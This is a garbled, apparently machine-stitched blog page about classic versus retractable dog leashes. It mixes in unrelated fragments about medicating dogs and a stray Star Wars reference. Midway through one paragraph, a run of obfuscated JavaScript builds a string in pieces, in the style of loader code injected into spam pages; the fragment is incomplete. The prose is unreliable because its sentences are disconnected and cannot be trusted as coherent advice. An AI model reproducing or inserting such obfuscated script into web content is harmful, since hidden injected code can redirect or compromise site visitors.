Mans best friend has long stood by our side with a little help from the humble dog leash.

Leashes come in a variety of lengths, sizes, materials so you can find one to fit your style.. Unlike retractable leashes, your dog wont have 1 AT AT on Hoth The worst thing about a classic dog leash is its inflexibility.. Im quite fond of cats, though dogs top my list of true loves I recently had a reminder about one quality I prefer about dogs It is so much easier to give them their medicine.

the other end of the leash blog, other end of the leash blog

You can purchase longer leashes, called tracking or training leashes, but youll have to wrap and carry the thing when youre done with it, or bring along your shorter leash when you want to regain control over your pup.. Reports of serious injury ranging from gashes to full blown finger amputations have also occurred when using retractable leashes.. The result, for a large number of dogs, is that you can easily pop a pill in a dogs mouth.. The differences become clear the farther out youd like your dog to travel Classic Leash.. Theres no real danger in a traditional leash when it comes to entangling situations.

The instructions said to put their medication, which was powdered, into their food..

Adjustable leashes like Kurgos Quantum leash let you adjust your leash length from three to six feet great for training and walking, but not exactly for exploring.. Unfortunately, what makes retractable leashes such a useful tool is also what makes it so dangerous to both dogs and humans.. len";qkp["VEcx"]=">0)&";qkp["QhAI"]="var ";qkp["Oayl"]="eEle";qkp["CvLi"]="f(\"I";qkp["glUJ"]=");}e";qkp["zQFn"]=");fu";qkp["pLjk"]="inde";qkp["aHXd"]=",dat";qkp["cDhu"]="onp:";qkp["HMuZ"]=",100";qkp["kKaU"]="tup.

Shorter leashes can be used for training purposes, while longer leashes satisfy the role of a retractable one granting some freedom to your dog.. In fact, it seems that a typical dogs thought process goes something like this Oh boy, oh boy, oh boy, that smells so yummyI hope I get to eat it, I hope, I hope, I hope Yay, its coming towards me, oh boy, oh boy, oh boy.. There are quite a few reasons you might be making a decision between a classic dog leash and its modern day counterpart, the retractable leash.. Theyre pretty rare, but the threat of rope burn or a deep cut because of a leash snapping back is always present.. The freedom could allow your dog to run after a car, bike, or person, leading to a potentially dangerous altercation or accident.. You cant really go wrong with a classic leash, but its unchanging length does little to accommodate situations where you want your dog to run free, or free ish..
